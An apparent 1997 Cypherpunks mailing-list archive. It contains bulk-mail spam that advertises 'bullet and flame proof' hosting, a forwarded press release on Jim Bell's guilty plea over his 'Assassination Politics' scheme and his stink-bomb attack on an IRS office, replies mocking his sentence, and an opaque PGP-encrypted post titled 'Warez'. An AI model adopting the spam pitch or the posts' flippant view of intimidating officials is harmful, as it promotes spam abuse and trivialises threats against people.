	   We can do it all for you, or set you up to do It Yourself.
	   These are some of the products and services we offer:


	Full E-Mail Services.

		-We Test All First Time Messages For Free.
		-The Most Competitive Prices In The Nation. 
		-The Most Experienced In The Nation.
		-The Most Consistent In The Nation.		
		-The Most Successful E-Mail Service in the Nation. 
	
	
	Web-Hosting as low as $18.95 per Month.

		-Virtual E-Mail,  Autoresponders and Web-Sites.
		-Bullet and Flame proof Web-Hosting.
		-Bulk Friendly ISP'S.
		-Secured Order Forms.
		-You @ your-company-name.com
		-Web-Site Design.	

	 We have Beta Testers and a large staff of people that keep all 
our customers on the cutting edge of Internet Marketing. 
	Join our team now and find out why we are the leader in Advanced 
Internet Marketing. 
	If you become a customer NOW,  you can take advantage of some 
of our introductory offers. Preferred Customers receive ongoing SAVINGS
and RESIDUAL INCOME.

             WHAT ARE YOU WAITING FOR, JOIN NOW!!!

For The Fastest Service;
JUST CLICK HERE,
visit our Web-Site, we will set up a personalized marketing plan 
for your specific needs.



****************************************************
We use Legal and Regulated Internet Etiquette When Marketing.
If you have been offended by this message in any way, PLEASE 
CLICK HERE 
and type the word "remove"  in the message. Upon receiving, 
we will remove you from our mailing list, and we will also 
submit it to the "Universal Remove List". 
We apologize for any inconveniences.
****************************************************






From honig at otc.net  Thu Dec 18 11:27:29 1997
From: honig at otc.net (David Honig)
Date: Fri, 19 Dec 1997 03:27:29 +0800
Subject: Can I do Pubkic Domain that -
In-Reply-To: <01bd0b5d$497dfee0$69737018@eudoxus.bc.rogers.wave.ca>
Message-ID: <3.0.5.32.19971218110440.007b6a90@otc.net>



At 06:33 PM 12/17/97 -0800, Bruce Balden wrote:
>
>Those guys just never learn that not only is the barn door open, but that
>contents were never theirs to begin with.
>

They blew their chance to regulate *computers* as military tech.
Computers, after all, were developed by the military for ballistic, bombs,
and codes.  



------------------------------------------------------------
      David Honig                   Orbit Technology
     honig at otc.net                  Intaanetto Jigyoubu

	M-16 : Don Quixote :: PGP : Louis Freeh
         Let freedom ring (or screech at 28.8)

















From paul at fatmans.demon.co.uk  Thu Dec 18 12:30:56 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Fri, 19 Dec 1997 04:30:56 +0800
Subject: Fw: Jim Bell Sentenced (fwd)
In-Reply-To: <3.0.2.32.19971214022601.037fc8dc@pop.sirius.com>
Message-ID: 




> No, that's not correct. He was charged with (and plead guilty to)
> obstructing an IRS agent (26 USC 7212(a)) and misuse of a Social Security
> number (42 USC 408). 

Clearly crimes so henious and beyond forgiveness that he should be 
sentenced to serve a greater amount of time inside than convicted 
rapists, baby murderers and "heroic citizens" who shoot at cars matching 
a rough description given over fire-service radio.

> The "attack" he admitted to executing consisted of
> applying a stinky chemical to the doormat of an IRS office. (see

Surely this highly dangerous chemical warrior should be executed for his 
crimes?

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From paul at fatmans.demon.co.uk  Thu Dec 18 12:32:41 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Fri, 19 Dec 1997 04:32:41 +0800
Subject: IRS intimidation of Cypherpunks
In-Reply-To: 
Message-ID: 




> any details on the list. Aside from Jim Choate questioning
> my arithmetic or attention span, would anyone be kind enough
> to provide pointers to information about incidents of c-p
> list members having received unsolicited email from .gov?

Sigh, answering a question about a possible forgery asked by 
TruthMonger?, I must be losing it.


>From irsnwpr at net.insp.irs.gov
Date: Thu, 17 Jul 1997 12:29:08 -0400
From: IRS Inspection 
To: Interested-Parties at net.insp.irs.gov
Subject: Something of Interest



					United States Attorney
					Western District of Washington

FOR IMMEDIATE RELEASE
July 18, 1997

JAMES D. BELL PLEADS GUILTY TO OBSTRUCTING THE IRS AND USING FALSE SOCIAL
SECURITY NUMBERS

United States Attorney Kate Pflaumer announced that JAMES DALTON BELL, 39,
pleaded guilty today in the federal court in Tacoma to two felony charges.
BELL, a resident of Vancouver, Washington, pleaded guilty to obstructing and
impeding the Internal Revenue Service (IRS), and to falsely using a social
security number with the intent to deceive.  United States District Court
Judge Franklin D. Burgess presided over today's proceedings.

The charges stem from an investigation initiated in October, 1996 by IRS
Internal Security Inspectors into reports that BELL was gathering the names
and home addresses of IRS employees. In previous court hearings, IRS
Inspectors testified that BELL had obtained the names and home addresses of
70 IRS employees as part of  "Operation LocatIRS." In the eight page plea
agreement signed by BELL, he acknowledged that he had gathered the names and
addresses of the IRS employees in order to intimidate them in the
performance of their official duties.

During the course of their investigation, IRS Inspectors discovered that
BELL was advocating a scheme called "Assassination Politics", whereby
persons would be rewarded with "digital cash" for killing certain
undesirable people.  BELL identified these undesirables as government
employees, such as IRS employees, who would be intimidated from enforcing
internal revenue laws for fear of being assassinated.  In the plea
agreement, BELL admitted that he suggested using "Assassination Politics" as
an enforcement mechanism for the "Multnomah County Common Law Court", and
that this was part of his effort to obstruct and impede the enforcement of
internal revenue laws.  In affidavits previously filed in this case, IRS
investigators identified BELL as a participant in the "Multnomah County
Common Law Court", which was described as a self-appointed anti-government
extremist group which purports to hold "trials" of IRS and other Government
employees for the performance of their official duties.  The affidavits
indicated that in January, 1997 the "Multnomah County Common Law Court" held
a "trial" of IRS and other Government officials.  

In the plea agreement, BELL also admitted that on March 16, 1997, he
conducted a chemical "stink bomb" attack on the IRS office in Vancouver,
Washington, using the noxious chemical mercaptan.  In affidavits filed with
the Court, IRS Inspectors tied BELL to two previous mercaptan attacks
against non-government targets: one being a lawyer's office in 1984, and the
other a vehicle in 1989.  The IRS investigators also linked BELL to two
purchase orders for noxious chemicals, one in 1994 and one in 1996.
According to the plea agreement, the attack on the IRS office resulted in a
cost to the government of $1,359, and caused a number of IRS employees to
have to leave work.  In an affidavit previously filed in this case, IRS
Inspectors indicated that the mercaptan attack may have been linked to the
February 20, 1997 seizure of BELL's vehicle by the IRS for unpaid taxes.

As part of the plea agreement, BELL also admitted that he used several
different social security numbers in order to hide assets from the IRS and
thus to impede the IRS's ability to collect taxes he owed and to prevent the
IRS from levying his wages.

Federal agents had previously executed two search warrants on BELL's
residence.  On April 1, 1997, IRS agents seized computers, documents, and
firearms during a search.  In a follow-up search, the Environmental
Protection Agency seized a variety of dangerous chemicals which had been
discovered during the execution of the  IRS warrant.  BELL was arrested by
IRS Inspectors on May 16, 1997.  BELL continues to be held in custody based
on a May 23, 1997 ruling by Magistrate Judge J. Kelley Arnold that BELL
posed a danger to the community and was a flight risk.

BELL faces a maximum sentence of three years in prison and a $250,000 fine
for the obstruction charge, and five years and a $250,000 fine for using a
phony social security number.

The IRS received assistance in the investigation of BELL from the Portland
Police Bureau, Oregon Department of Justice, Oregon State Police, Federal
Bureau of Investigation, and the Vancouver, Washington Police Department.

--end

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From purewater2 at hotmail.com  Thu Dec 18 12:50:15 1997
From: purewater2 at hotmail.com (purewater2 at hotmail.com)
Date: Fri, 19 Dec 1997 04:50:15 +0800
Subject: Give the Gift of Health
Message-ID: 




//////////////////////////////////////////////////////////
  If you would like to be removed from our mailing list, please
  reply to this message with "remove" as the subject and you
  will not receive any more email from our server.
/////////////////////////////////////////////////////////

Pure Water is offering water distillers at wholesale
Come see our web ad at:
http://www.stopgocal.com/purewater

12/19/96






From hg-p at dev.null  Thu Dec 18 12:59:04 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Fri, 19 Dec 1997 04:59:04 +0800
Subject: Warez 38
Message-ID: <199712182029.OAA13026@harrier.sasknet.sk.ca>



-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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
